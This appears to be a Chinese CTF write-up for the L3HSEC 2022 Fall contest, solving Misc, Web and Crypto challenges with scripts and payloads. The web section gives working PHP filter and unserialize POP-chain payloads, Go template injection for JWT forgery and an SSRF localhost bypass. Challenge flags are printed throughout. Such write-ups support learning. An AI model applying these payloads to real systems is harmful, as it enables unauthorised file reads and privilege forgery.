Misc(未解出)

2022 Fall Signin

蹲着等了一分钟,手速没拼过,错失前三
Flag:L3HSEC{w3lc0m3_L3HSEC@2022_FALL}直接提交即可

QRShuffle

观察很久没观察出个啥隐藏信息,于是只能用定位角来筛选每一行所能够放的图片,然后拼接用cv2的qrdetector来尝试识别,最后还是失败了,附上写的筛选代码和手筛推出的结论

import random
import cv2
import os
import numpy as np
def png2array(path):png = cv2.imread(path)gray = cv2.cvtColor(png, cv2.COLOR_BGR2GRAY)row = np.empty([1, 29], dtype=int)for i in range(29):row[0][i] = 1 if gray[0][i * 10] == 0 else 0return row
img = dict()
img_list = list()
for root, dir, files in os.walk('./qrslices'):for file in files:img[file] = png2array(os.path.join(root, file))img_list.append(file)width_i = 290
height_i = 10
row_max = 29def check(list):global toImagedetector = cv2.QRCodeDetector()for i, img_name in enumerate(list):png4concat = cv2.imread(os.path.join("./qrslices", img_name))if i == 0:toImage = cv2.imread(os.path.join("./qrslices", img_name))else:toImage = cv2.vconcat([toImage, png4concat])cv2.imshow('img', toImage)try:res, points, code = detector.detectAndDecode(toImage)# print(res, points, code)if res:with open('./flag.txt', 'a') as f:f.write(res)cv2.imwrite('./test{0:d}.png'.format(random.randint(1,10000)), toImage)except:cv2.imwrite('./error{0:d}.png'.format(random.randint(1, 10000)), toImage)#     toImage.save("./test.png")# img = cv2.Image.fromarray(martix)def Rerange(list1, start, end):i = 0if start == end:# print(list1)# got a rangeflag=1print(list1)for i, img_name in enumerate(list1):row = img[img_name][0]if (i == 0):if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):flag=0breakif (i == 1 or i == 5):if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 androw[21] == 0 and row[22] == 1 and all(row[23:28] == 0) and row[28] == 1):flag = 0breakif (i == 2 or i == 3 or i == 4):if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[7] == 0 androw[21] == 0 and row[22] == 1 and row[23] == 0 and all(row[24:27] == 1) and row[27] == 0 androw[28] == 1):flag = 0breakif (i == 6):if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):flag = 0breakif not (all(row[8:21:2] == 1) and all(row[9:20:2] == 0)):flag = 0breakif (i == 7):if not (all(row[0:8] == 0) and all(row[21:] == 0)):flag = 0breakif (i >= 8 and i <= 20):if (i % 2 == 0):if not (row[6] == 1):flag = 0breakif (i == 20):if not (all(row[20:25] == 1)):flag = 0breakelse:if not (row[6] == 0):flag = 0breakif (i == 21):if not (all(row[0:8] == 0) and row[8] == 1 and row[20] == 1 and all(row[21:24] == 0) and row[24] == 1):flag = 0breakif (i == 22):if not (all(row[0:7] == 1) and row[7] == 0 and row[20] == 1 and row[21] == 0 and row[22] == 1 and row[23] == 0 and row[24] == 1):flag = 0breakif (i == 23):if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 and row[20] == 1 and all(row[21:24] == 0) and row[24] == 1):flag = 0breakif (i == 24):if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[7] == 0 and all(row[20:25] == 1)):flag = 0breakif (i == 26 or i == 25):if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[7] == 0):flag = 0breakif (i == 27):if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0):flag = 0breakif (i == 28):if not (all(row[0:7] == 1) and row[7] == 0):flag = 0breakif(flag):check(list1)else:for i in range(start, end + 1):list1[start], list1[i] = list1[i], list1[start]Rerange(list1, start + 1, end)list1[start], list1[i] = list1[i], list1[start]
Rerange(img_list, 0, len(img_list) - 1)

手筛的结果:list后面的序号表示这几个位置从这个list的元素中选,最后共剪枝到12,441,600种可能,虽然最后还是没发现

list_1_5 = ["19.png", "28.png"]
list_1_5s = []
Rerange1(list_1_5, list_1_5s, 0, len(list_1_5) - 1)
list_2_3_4 = ["4.png", "8.png", "24.png"]
list_2_3_4s = []
Rerange1(list_2_3_4, list_2_3_4s, 0, len(list_2_3_4)-1)
list_8_10_12_14_16_18=["3.png","12.png","10.png","17.png","21.png","23.png"]
list_8_10_12_14_16_18s=[]
Rerange1(list_8_10_12_14_16_18, list_8_10_12_14_16_18s, 0, len(list_8_10_12_14_16_18)-1)
list_9_11_13_15_17_19=["0.png","13.png","15.png","25.png","7.png","9.png"]
list_9_11_13_15_17_19s=[]
Rerange1(list_9_11_13_15_17_19, list_9_11_13_15_17_19s, 0, len(list_9_11_13_15_17_19)-1)
list_25_26=["27.png","5.png"]
list_25_26s=[]
Rerange1(list_25_26, list_25_26s, 0, len(list_25_26)-1)
final_list = ["22.png"]sum=6*5*4*3*2*1*6*5*4*3*2*1*6*4
with tqdm.tqdm(total=sum) as pbar:for i_1_5 in list_1_5s:tmp_1_5 = list(final_list)tmp_1_5.append(i_1_5[0])for i_2_3_4 in list_2_3_4s:tmp_2_3_4=list(tmp_1_5)tmp_2_3_4+=i_2_3_4tmp_2_3_4.append((i_1_5[1]))tmp_2_3_4.append("6.png")tmp_2_3_4.append("1.png")for i_8_10_12_14_16_18 in list_8_10_12_14_16_18s:for i_9_11_13_15_17_19 in list_9_11_13_15_17_19s:tmp_LL = list(tmp_2_3_4)for i in range(0,6):tmp_LL.append(i_8_10_12_14_16_18[i])tmp_LL.append(i_9_11_13_15_17_19[i])tmp_LL.append("2.png")tmp_LL.append("20.png")tmp_LL.append("26.png")tmp_LL.append("18.png")tmp_LL.append("14.png")for i_25_26 in list_25_26s:tmp_25_26=list(tmp_LL)tmp_25_26+=i_25_26tmp_25_26.append("11.png")tmp_25_26.append("16.png")#print(tmp_25_26)check(tmp_25_26)pbar.update(1)

图片套中套

拿到文件,打开发现里面有一张图片,但是无法显示,winhex查看一下

发现文件头是50 4B 03 04,是压缩文件,将后缀改为zip,打开发现里面有一张图片,解压发现需要密码:
分析发现是伪加密,使用ZipCenOp.jar修改后打开压缩包,得到图片:


用stegsolve打开发现一直卡住,且在kali中无法打开,猜想文件格式错误,可能有隐藏信息,pngcheck一下
用winhex打开,发现IEND后还有一大块数据:

之后就不会了,真misc一道都不会

WEB

Easyphp

打开页面,审计源码

 <?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the l3hsec_ctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>

需要传入两个参数满足条件:

  • text:使用php伪协议(input和data都可)传入文件内容

    • payload:php://input
    • POST data:welcome to the l3hsec_ctf
  • file:使用filter协议读取(很容易猜到flag过滤是因为useless.php中含有flag),因此使用base64+filter绕过
    • payload:?file=php://filter/read=convert.base64-encode/resource=useless.php

输入构造好的payload,解码后得到useless.php源码:

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }
}
?>

因此只需要让file=flag.php,然后把序列化的对象作为password的值输入即可

<?php
class Flag{  //flag.php  public $file="flag.php";  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }
}
$flag= new Flag();
echo($flag);
?>

最终的payload:
text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST DATA:welcome to the l3hsec_ctf
查看源码得到flag

Easyphp_plus

扫描目录,发现source.php

<?php
error_reporting(E_ALL || ~E_NOTICE);
$text = $_GET["text"];$password = $_GET["password"];
if (isset($text) && (file_get_contents($text, 'r') === "welcome to the l3hsec_ctf")) {echo "we meet again !";echo "<br><h1>" . file_get_contents($text, 'r') . "</h1></br>";if (preg_match("/flag/", $file)) {echo "Not now!";exit();} else {echo "next part!<br>";if (strcmp($_POST['str1'], $_POST['str2']) == 0 && $_POST['str1'] != $_POST['str2']) {echo "clever guy!<br>";echo "now go to final part!<br>";if ((string)$_POST['final_str1'] !== (string)$_POST['final_str2'] && md5($_POST['final_str1']) === md5($_POST['final_str2'])) {echo "u are really clever !";$file = $_GET["file"];include($file);  //really_useless.php}}}
} else {highlight_file(__FILE__);
}

需要满足条件:

  • text:使用php伪协议(由于还要传入其他POST数据,所以text不能用input协议)传入文件内容

    • text=data://text/plain,welcome to the l3hsec_ctf
  • 数组绕过strcmp检测
    • str1[]=1&str2[]=2
  • 由于有string转换类型,因此不能用数组绕过
    fastcoll生成MD5相同的文件,因为有不可见字符,URL编码后传输

    • final_str1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    • final_str2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  • 对文件内容有过滤,file伪协议采用base64编码传输
    • file=php://filter/read=convert.base64-encode/resource=really_useless.php

最终得到really_useless.php文件:


class Test
{public $p;public function trick(){echo "wrong!";}public function __construct(){$this->p = $this->trick();}public function __get($key){$function = $this->p;return $function();}
}class Attention
{protected  $var;public function include_file($value){include($value);}public function __invoke(){$this->include_file($this->var);}
}class Show_str
{public $path;public $str;public function __wakeup(){if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->path)) {echo "no way!";$this->path = "index.php";}}public function __construct($file = 'index.php'){$this->path = $file;echo 'Welcome to ' . $this->path . "<br>";}public function __toString(){return $this->str->path;}}if (isset($_POST['pop_chain'])) {@unserialize($_POST['pop_chain']);
}

审计源码,发现需要构造一条POP链,思路如下:

  1. 首先寻找危险函数,发现类Attention中有危险函数include ,要利用include读取flag.php,就肯定要调用invoke
  2. $this->p传递为class Attention的对象就会自动触发invoke()
  3. $str传参为Test的对象,Test中没有path方法就会调用get()
  4. pathShow的对象,在construct的时候因为echo,就会自动调用toString()

__wakeup()是自动调用的,整个链条就形成了

__wakeup() => __toString() => __get() => __invoke() =>include(flag.php)

构造序列化数据

<?php
class Attention{protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show_str{public $path;public $str;public function __construct($file='index.php'){$this->path = $file;}}
class Test{public $p;
}
$a=new Show_str();$a->str=new Test();
$a->str->p=new Attention();
$b=new Show_str($a);
echo urlencode(serialize($b));//url编码因为protected和private类型的变量反序列化的时候会有00*00,编码后可不用管
?>

得到URL编码的反序列化数据,传输得到flag.php的base64编码,解码即可

gogogo

分解一下源码,就以下几个功能:

注册:http.HandleFunc("/regist", regist_handler)

func registHandler(res http.ResponseWriter, req *http.Request) {uid := req.FormValue("id")upassword := req.FormValue("password")if uid == "" || upassword == "" {return}if getAccount(uid).id != "" {res.WriteHeader(http.StatusForbidden)}if len(accounts) > 1024 {clearAccount()}newAcc := Account{uid, upassword, false, secret}accounts = append(accounts, newAcc)p := Res{true, "Registration success"}response, err := json.Marshal(p)if err != nil {res.WriteHeader(http.StatusInternalServerError)}res.Write(response)
}

注册一个账户:
/register?id=111&password=123
登陆:http.HandleFunc("/auth", authHandler)

func authHandler(res http.ResponseWriter, req *http.Request) {uid := req.FormValue("id")upassword := req.FormValue("password")if uid == "" || upassword == "" {return}if len(accounts) > 1024 {clearAccount()}userAcc := getAccount(uid)if userAcc.id != "" && userAcc.password == upassword {token, err := jwtEncode(userAcc.id, userAcc.isAdmin)if err != nil {res.WriteHeader(http.StatusInternalServerError)}p := Res{true, token}response, err := json.Marshal(p)if err != nil {res.WriteHeader(http.StatusInternalServerError)}res.Write(response)return}res.WriteHeader(http.StatusForbidden)
}

登陆注册的用户:
发现一个有点像模板注入的东西:解码jwt token得到id,根据id取对应的account

func indexHandler(res http.ResponseWriter, req *http.Request) {token := req.Header.Get("lToken")if token != "" {id, _ := jwtDecode(token)nowAccount := getAccount(id)// 可能是模板注入templ, err := template.New("").Parse("Logged in as " + nowAccount.id)if err != nil {res.WriteHeader(http.StatusInternalServerError)}templ.Execute(res, &nowAccount)} else {res.Write([]byte("Not logged in"))}
}

flag handler验证id_admin是不是true

func flagHandler(res http.ResponseWriter, req *http.Request) {token := req.Header.Get("lToken")if token != "" {id, isAdmin := jwtDecode(token)if isAdmin {p := Res{true, "Hi " + id + ", flag is " + flag}response, err := json.Marshal(p)if err != nil {res.WriteHeader(http.StatusInternalServerError)}res.Write(response)} else {res.WriteHeader(http.StatusForbidden)}}
}

而解开jwt token需要sercet_key,因此思路是利用ssti得到secret_key,伪造jwt得到flag
payload:{{.}}

直接使用{{.}}会不显示,我猜想是有什么过滤之类的,随便加点东西11{{.}},然后登陆得到token,使用得到的token访问/,得到secret_key
使用secret_key伪造jwt token


访问getFlag,得到答案

PySSRF

根据提示,尝试访问127.0.0.1,发现被过滤,访问127.0.0.2绕过过滤,进行端口爆破,发现14514端口响应长度不同,查看响应得到flag

Crypto

EasyAES

分析task.py,得到以下几个信息:

  1. 采用AES算法处理输入的数据,采取CBC模式加密
  2. 解密验证除去padding字符外的后五位是否为admin,如果为admin,则将去除了padding字符的原文返回
  3. 输入的内容会经过处理再加密:先加上前缀"flag=" + flag+ “&userdata=”,然后跟上输入的内容,最后加上后缀
    “&user=guest”

因此思路非常明晰:修改加密后的内容,使得guest变成admin,然后通过检查输入明文
注意到guest和admin的长度一致,采用CBC翻转攻击恰到好处,具体原理参照这篇

最终的脚本:

from hashlib import sha256
import string
from pwn import *
import binascii
from pwn import *
import base64
import binascii
context.log_level = 'debug'
pad = 16
# r = remote("ctf.l3hsec.com",40000)
BANNER = rb'''______                 ___    ___________/ ____/___ ________  __/   |  / ____/ ___// __/ / __ `/ ___/ / / / /| | / __/  \__ \/ /___/ /_/ (__  ) /_/ / ___ |/ /___ ___/ /
/_____/\__,_/____/\__, /_/  |_/_____//____//____/
'''
x=40
r = remote("ctf.l3hsec.com", 40000)
_, __= r.recvline_startswith('sha256(XXXX').split(b'+')
proof_right,___=__.split(b')')
proof_right=proof_right.decode()
hash_value=___.split(b'==')[1].strip().decode()
alphabet = string.ascii_letters + string.digits
BLOCK_SIZE=16
idx = (22+x+pad)%BLOCK_SIZE + ((22+x+pad) // BLOCK_SIZE -1 ) * BLOCK_SIZE
for i in alphabet:for j in alphabet:for k in alphabet:for l in alphabet:nounce = ""nounce += inounce += jnounce += knounce += lproof = nounce + proof_rightif (sha256(proof.encode()).hexdigest() == hash_value):r.sendline(nounce)r.sendlineafter(b'> ', b'1')#这样能把最后加密的明文控制在79,padding一个0刚好80为分组长度整数倍data = b'a' * 13 r.sendlineafter(b'Input your data > ', data)temp = r.recvline()cipher = list(binascii.unhexlify(temp[:-1]))BLOCK_SIZE = 16prefix = b'flag=' + b'a' * x + b'&userdata='suffix = b'&user=guest'plain = prefix + data + suffix# idx = 79-1(pad)-5-16+1=58 idx=58cipher[idx + 0] = cipher[idx + 0] ^ ord('g') ^ ord('a')cipher[idx + 1] = cipher[idx + 1] ^ ord('u') ^ ord('d')cipher[idx + 2] = cipher[idx + 2] ^ ord('e') ^ ord('m')cipher[idx + 3] = cipher[idx + 3] ^ ord('s') ^ ord('i')cipher[idx + 4] = cipher[idx + 4] ^ ord('t') ^ ord('n')print(cipher)stemp = ''for i in cipher:stemp += '{0:02x}'.format(i)r.sendlineafter(b'> ', b'2')r.sendlineafter(b'Input your data > ', stemp)msg = r.recv().decode()if 'you are not admin' not in msg:print(msg)break
r.close()

最终得到flag

babylattice

按照提示不用管密钥生成和加密方式,但是我觉得还是得看下密钥生成方式,手推一次加解密过程才知道怎么去找对应的解法

可以看到密钥生成方式是中国剩余定理,根据题目的提示采用LLL算法,搜索相应关键字“基于中国剩余定理的加密算法”、“SVP”,找到这篇文章:

根据这篇文章,exp如下:

from Crypto.Util.number import *
from gmpy2 import *
b = 4189473361699107217737455396325088183647459520762101844169276157097419075741053441908981220101313628265591679932243646157798614301613216353417792680603839858901174261567329713633368998538198056432420816170813002537470510824573399752841629555419679351092677995791781611216455311460445828456846800858725856162256100067573160931447899995435540614262179047903010321235756321175798141083436561191248808099344601597758766820841247581087589633697583254347697761793900573665246657473720690746138551714675250189501879568866675887888686723079957824448238872953452272361956750464846476924307112817686274952080706114911155289034
n = 30170308825909440240941693170939367334844821029782821583570286983621317423766747822577757211569710529434922653573394476313387108250546033911130407881340763005349634115809559639000580648954090023789960388140320537310747484117427519820928316981758092673239883392417557736050921582197605939646396980954720533323414256630686099446261753358351411238396130783891149857357027291221573230409509048705778418933333222633966392788758816068035934002821259179676663605591341303639187677648104559149755696406916456100816247187169100673215113617431212731694921337661569998483380390854882572497881679266213674621353132753251285674879
c = 19661634891727868222099095136901659122829263085237461320517222981876652326584941755935506785466085397036381223656214442840957349568180244494668190067815213431417256096310086121818289755995699360954357693424193788225178162274067850236827814176875911714566055084460381321125690331794418319416858945534037236453043872268977446605497332255455791777458776451967443335677366617943606110582961257994038716809851649891403946938458466692396540759794689041919886188803459600803037044031173965809992390886542083555310737152473443561114918788410017103228518549269127033118974044150781161071975706470208883873841803874769550571522
c0= getPrime(384)
print(c0)
M = Matrix([[c0,c,0], [0, n,0],[0,b,1]])
c0,r,m=M.LLL()[0]
print(abs(c0))
print(abs(r))
print(abs(m))
m=635792580719987487237521719205940515395485350520512925835933137041624512543082883368059187508605
print(long_to_bytes(m))
#L3HSEC{5b820f48d1343d31363cc0dac13f6a45}

Enumerate

根据题目观察到,dp的范围很小,可以枚举dp,利用dp的方式推导如下:


得到p后常规方式解密即可,因此exp如下:

import gmpy2
from tqdm import tqdm
from Crypto.Util.number import *e = 9740781703255167949548123833848215149877626495081674933142965833082481258763865707394139077323296213902576949525913789361227955594348739778431568575200626895877575505323576444925031191752727771006703809829661370655525453928637863429255767149436602506308217376851087219374068619428331249987945029230645195675365532084992172677730849508489796968035620029349007985088753700265630944472728606629666980931589653596536113250131391348183113731287183970926226775901059693777416386060232254013038521518675853176199355416657186428116869781176129682611345114490715380905522488854076217805953516080743984818977772510583599165735839947549121286248871957626787616620758307637455779386102223263163159704189933161215617684365136652215048721464423890172392837117499545210952758632649460511770369227301511754763524945623877479483272848832957727752908537766989174534584178325252590507812487070473324909694680145939059475164290107680204220843
n = 11357659237666674240934225650391720822390721411452960439881947096105621174907351048346074927045069888978545428551201151720025746283825826680089265987635245602830278152775526322284079045425029614153114122274852867020863183564566383266771779753113268775452055147839364280217785501763602013410444043430296433087648490237502969276137406959871089025763302898032365525302466212940057329970006464665158381696891629915747198606169376463888484997648951753716250228670296683149437147468190405098264714157319310013875051869172049772174474421632876993462750616436198655419004432906183104359396291098129598907614245732147810886674660972882945098621568901552565568789643050245058975004065076083918362123951478516142404319720427704877611945660779061188295887840206292880785654832673219313976166018329236350345410958364451116766528032072551273749780134377286501549470464581380266571495326862431452362532393190442596165340428148379457549853
c = 1131977991988855066836892559519102207408389404589146139755618624579609057043505264198231412434810590033448922113978363490216414481634255152515339530378094931124211926205934960308171369849646157354571769943343892303056766595323897957933529009255763771136887899951354696979354358287194937861107926637351718834851868538485277199969096361570170668230845028674639022656371805283155005125382578519862624232820526466122735438576704510740565677790504486181307338390152665031018372392185896360680634433567740175635802241889019357079063737919124911215414577755467068028318581704439240642134533337632917147914689118763552596456783600957736581898954687392934717182573492836069212047607447109589346717662253654983985776731863661502199327024116991484495789879610980113057721444254373434771811794021887841371612297493485477292587673302680012021201748037361650835964264374321655771163859216207663133566121792757560084636452186401825189222
N = gmpy2.mpz(n)
E = gmpy2.mpz(e)
C = gmpy2.mpz(c)
m = 1000000007
sp = gmpy2.powmod(m, e, N)for dp in tqdm(range(1, 2 ** 24)):p = gmpy2.gcd(gmpy2.powmod(sp, dp, N) - m, N)if (p != 1):print(p)break
p = 10908066707177146155904250318930229417482273071398885295926728094305127359974260239186202297547236800858997957266511471068768263205127603236179680718768696952960183605175357400195059272632703121592370484512734828603038877452481864196442331534258474372145057809104614707943592508823488426161331793579065117253
P = gmpy2.mpz(p)
q2 = N//P
q = gmpy2.iroot(q2,2)[0]
print(q)
D = gmpy2.invert(E, (q - 1) * q * (p-1))
M = gmpy2.powmod(C, D, N)
print(long_to_bytes(M))

最后得到flag:L3HSEC{e45a97feae04d7f0dcd7755694c09cc0}

factor1

已知e、d、n求p、q,算法证明如下:
故exp如下:

from Crypto.Util.number import *
import gmpy2
import random
n = 780491159925374078079694766172000112950674266127159263270904266398457665489354488598985941459209996685747761696777261230244236610716395558987373054967279280159580287538529727244218639449643929440865261610239602189450389207521041946919358523747975699917497871075699552393581503787516690113483532766199910971787868995714516467423433538247037790983728676059295803524400509301044135187330649580649701407044241781143533230324291243220825066967574348343353624065465087675047146386017470164891254218722752572488498240694199913603131490703180540048971402063303991580464615594734567990113147243077450666339795682517203172570876220775446186236450127617733559900806705499120489254188977149657296512187018967198020650948891695638805889187309932139521044745682261094834856259036813808181896607991255604746298933463668645117545004072621788455138197000330901630155082520569312093628925418370636159398049007329481747978596918008442791298688187139258866198132191837822471839643273442018433390971982814642749608613805109743747313588832557028300817214342192313987931035043475884455221933854613667004304141650468718022743012236173327841920034753252453775123951583991969794858384056834905390640209954651686519896265355772982051671379676757359575060742723
x = 20411848151378778016021803257438162337639089296187764247925600674104035552981977642978371218318611568638490506396339780498058301852395770360071122379698196812117948321508424934068797092140436657845682361810053840168055524473477202168213775670997378732040111468862939212556900197363131996311741573746990904411115715872661489100086033760275739668800190137913167573970033993514666751741226260035785329166334734757191558717651333225113959727871479658906094705774208360281497238533503105609682480071403252741426708436390865708907888117032825241389494475425886504319130195431793037445260242623713145210314584241783174172747
c = 517437151614395774387934943212894827067328552331077589669043762423544310921356670216891443155584342926711113867553500472357535252808031682503510895829490773147392607043697244218561563739743114702355943455565405905417116942187606904090237019476603953433668816891848300281327453830871126385209424075838535538623254412298984796500478823593325893555498501563168013679241209030186498185297427186554402590002275699484261269709992031426037140540498839177355106593456865036241923942917669397198866986022864334545984739400097593415485834943750798676683727753480955318814185133341123525440706890929292281015288040042731291601924151890223448530581203669896774463659269512047333068238428853293932576322075444262051216411258458292023225031204970362270649057726281284601625783197675852595671412747443260513971581699862845237699332242005839575745947303852385431216201241930220626144968322663681338897810888243583899676882893601271624301966607787966390924785266958954787097563994306672053350780074888418831475872549371164112472990483830948421605126478428372400039240280417434171996117288261657858789757782308315872826687094337842469282706662480473882262395476466905923042513044547589058272453266351579995009973913777804682276848830094685543948594943
kphi = n*x - 1
def getpq(n,e,d):while True:k = e * d - 1g = random.randint(0, n)while k%2==0:k=k//2temp=gmpy2.powmod(g,k,n)-1if gmpy2.gcd(temp,n)>1 and temp!=0:return gmpy2.gcd(temp,n)
fac1 = getpq(n,n,x) #pq
fac2 = n//fac1 #p^2
p= gmpy2.iroot(fac2,2)[0]
q = fac1//p
e = 0x10001
d = inverse(e,pow(p,2)*(p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))

得到flag:L3HSEC{ece13b084c54fe6b1e8e65e213e67ec7}

factor2


接下来由399.pdf (iacr.org) 的部分结论
得到:

a的大小能够先计算出来,而x的大小可以用copper-smith算法求得(图源):


故exp如下:

from Crypto.Util.number import *
import gmpy2,hashlib
# sagemath
c = 64348560778210035485799671390154695897453592495407073065506104275617393737946246692622951028425078089778024895362893050850450470916956316819587441719985900367828161351188490093123567264735778073437159834204089867077987956939775879953564294829553161064997967332581428673347982657437106382140809532325583705612
N = 1078539747919673853919411204899228458878633778262324459385355713547566400004697903143330733969460010964398164028359499880899877828002215794175086743848297049288335697358143839723719222579706965442134154325889887674023840975769329825236531811285711766133187639497583153819957992824026123680262593318303379138225078268891436748091757857603215315962019382381765076316901889216313808782503539248571640394389007482110017169252023994063210033365778681157210401434951579215165060975359306095159714917332816715649519729877273253846247285046471178485525863453986133031276931316829008726108819000563789319413166779681161986401205940637150305118565905215777131019985357664705108010875158854683168085163002091159684306358744358777540257830877172397351494204783426969363655396993615748602920419791070799044268664971577463432327953343062973486069419816472941434309710007779740116747587858432558104082669671984047964456830876875541717006339
e1 = 559147556710870967152736763021253558035580508696715241651085899110170858881432001991300403655368510400761899365466999902402340069800653268981599333175020503773490940620023403052013452083038161581725192457329104566393575541090603145652823629859833945114984160010248317499867341549554557763084136841210113299448578404652675609039996313385053372863174211224353291169563464103565740587064837549134155520904845421447974116498694893094841467418344681252560945914252173708682940993710868173242625840633222001873907486791968090037854085606329477339793562636375532934681663222430175247233404379910746963929875234006959799252491831321148495329132557398814730196262395338356058212655307239751393451886761936177607021228945200257522315975354755715426336651910772499613226636071592463946305758874388403964335933812656037104788601811395942384577129926237110009954635975292118494226469146239832309237338972246345667464131095112354129424923
e2 = 184913331005658981413860627187724764115450270160234476671196285425093281141286141663637211483658566771223583127974895155580959434458085915781983791773036811496260126835859427231977289002809122452792252735892425752782624552058821572533274672550457033380029604401037863530125687191345879813341810855133665260614657339594421397678065507044776241168822131895054665081000651078616961235733580528753120435627071612259406536893675916118594179986988895048136713596913923856391426754274273067536919043273532453310646294138027855669891428145024027693565201665768447983425793779957101096313895681570865564145995084987335722177704185643085354735810704707921213622403116694916492986431102717619649567390642729559098846715054129674856021858993927148109961825287423881475496664658264576213335217347578857676593778280473024731290373873709198694435757416317195947118090084708407952592268222792565652148918136760497897617149042261344439096843
e = 0x10001
# r = 5
# a = (e2 - e1) * gmpy2.invert(e1*e2,N) % N
#
# # assert a < N
# P.<x> = PolynomialRing(Zmod(N))
# f = x - a
# x = f.small_roots(X = 2^1000,beta = 0.4)
# x = x[0]
# k_phi = e1*e2*x - (e2 - e1)
# p_ = gcd(k_phi,N)
#
# p = gmpy2.iroot(int(p_),r - 1)[0]
# print(p)
# q = N // (p**r)
# print(q)
# python 得到pq填进来
p = 10134252723158601275003401522062911941019213178377309828899216057830309479124971513229375798244460254309472951083952534414181570421639637062378074545198567
q = 10089682575064609822335162261808299507782354278526589188667180497420394623894782442835864203666572501413895127989042146506692875908676883121823556370595877
n = p*q
print(n)
print(N)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi_n)
# # print(n)
m = pow(c,d,n)
print(m)
#python
print(long_to_bytes(m))

得到flag:L3HSEC{dfb3d3de9415a97de10db5e2bb37e989}

factor3

首先观察到p,q相近,因此可以用fermat分解分解n,用yafu分解n得到p、q
根据提示这是paillier加密系统,查一下有关资料

因此exp如下:

from Crypto.Util.number import *
import gmpy2, hashlib
n = 22889982902417034800127488615522188269161335611128463175153634895761490768123310672181751076395496184287173971404460091604335144824937803268739072522772160429129114533289466803329478478610768475259393484505796849105644413094592553931614430108309044763123253519039288636875662172527111175175504306433174562237342839974296015394507497064555838288513379826263041151256818682477662822883279390498732000378420631353274173497837036168507421039979553165402819147514403204718848808453925691188944881096556885227979301201958233825246300664680118714644725554763486058397565152855367885599037125097745700481608993746107199627361
g = 118512866713154684097758336076373272543604752247794247908195648184919283682465530594891138891242684408084813526269774836670746989713370905399929806878522988087894384549545727992095909179831937754821845237920552212448799864376452076230461633904068132380583549598486236346126066975066934707087357849706146422147
c = 402524615762464185322455964035678210271457645602741560700582804752346599476498485026171991644294426385449028303574466019965686278702934894021473624944901863078297347332434973194039256807731669138981245077336640990683139297446590177651688152206448227106739329391062183361166138659760958729437820978456565716582305241824155953785721088851961931702879836093635562515028625948889311130859119813486196205285371730679712227648556969822704053786004710285672794458112688297050851763331831786845133375228109899988733704488782428539375612492786095275725996229472538667063558446434890133230910107142161123924664473346858515868643473427879055110282365504144398591653082374805652547946769077359931833316147574314879719465805993289685341805705647599026757217037493441645667371806974466089647718145307911929008326852983748926680196218859689651972158406550489043923558002502299464805906205611788368536685662616409590334321418140395436132634719654890284668919174632001808239783736307689420626212762848237559302065640364611175532179849324304655361158071958027432185229884042563808671418150254297767374072836634154198628640949231200723239112340625851821639701905671759867153360325799723130341048416432354977547089690117923609834416703444693132209529702
# yafu yafu-x64.exe factor() fermat for p q is very similar
p = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034752551291048950379208931239612446816776570292261456498267930751158600739489871
q = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034638359897173265608351983200085033580050324339561151797892420042387509176922191
def dec(n, g, LAMBDA, c):L1 = (pow(c, LAMBDA, n ** 2) - 1) // nL2 = (pow(g, LAMBDA, n ** 2) - 1) // nm = (gmpy2.invert(L2, n) * L1) % nreturn m
LAMBDA = gmpy2.lcm(p - 1, q - 1)
print(long_to_bytes(dec(n,g,LAMBDA,c)))

得到flag:L3HSEC{8a7fce52000e9b693c315d39258a213b}

ezecc

原理参照这篇ECC2
首先求b:

求得b=142049469222136951075696377209080640921370274261432456129295338173419592979392060338227

然后定义椭圆曲线,以及P、Q两个点:

# P=(xG,yG) Q=Public_key
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)

